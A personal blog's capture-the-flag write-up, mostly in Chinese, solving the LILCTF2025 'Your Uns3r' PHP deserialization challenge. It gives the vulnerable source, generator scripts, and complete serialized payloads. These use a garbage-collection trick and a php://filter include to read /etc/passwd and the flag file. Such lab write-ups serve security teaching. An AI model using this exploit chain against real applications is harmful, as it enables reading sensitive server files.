Po1ustr3's World

[LILCTF2025]Your Uns3r

2025-08-31

Your Uns3r

<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

整体逻辑就是用user反序列化后激活__destruct后一步步利用,最后控制result内容用include读flag

这里有两点要注意的,第一个就是throw new Exception("nonono!!!"); 第二个就是$this->username == "admin" 弱等于判断

浅析PHP GC垃圾回收机制及常见利用方式-先知社区

一开始把throw天真的注释了,打本地发现怎么都可以,但是一加上throw就不行了 :(

这里就要用到这个回收机制,但是根据这个回收机制,对于PHP5.6.40似乎好像不适用,他的例子a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

这里再5.6.40复现不行,解决方法是数组长度+1就可以绕过a:3:{i:0;O:1:"B":0:{}i:0;i:0;}

然后这里限制preacmd导致我研究了半天,后面发现根本不用pearcmd进行

<?php

class User {
    public $username = 0;
    public $value;
}

class Access {
    protected $prefix = "";
    protected $suffix = "";
}

$user = array(new User(),0);
$user->value = serialize(new Access());
   
$payload = serialize($user);

echo $payload;
?>

Value是N,我打算后面的补上

这里protected在序列化后*两边的%00显示不出来,后面需要自己补齐

<?php
class User
{
    public $username = 0;
    public $value;
}

class Access
{
    protected $prefix = "php://filter/read=convert.base64-encode/resource=/";
    protected $suffix = "/../../../../etc/passwd";
}

$access = new Access();
$user = new User();

$user->value = array($access);
$user->value[0] = $access;

$user->value = serialize($access);

echo serialize($user);
?>

这里生成的value放到上面的exp输出的序列化中

a:2:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";N;}i:1;i:0;}

O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}
最终payload
a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../etc/passwd";}";}i:1;i:0;}

a:3:{i:0;O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:138:"O:6:"Access":2:{s:9:"%00*%00prefix";s:50:"php://filter/read=convert.base64-encode/resource=/";s:9:"%00*%00suffix";s:23:"/../../../../flag";}";}i:1;i:0;}
← Back to Home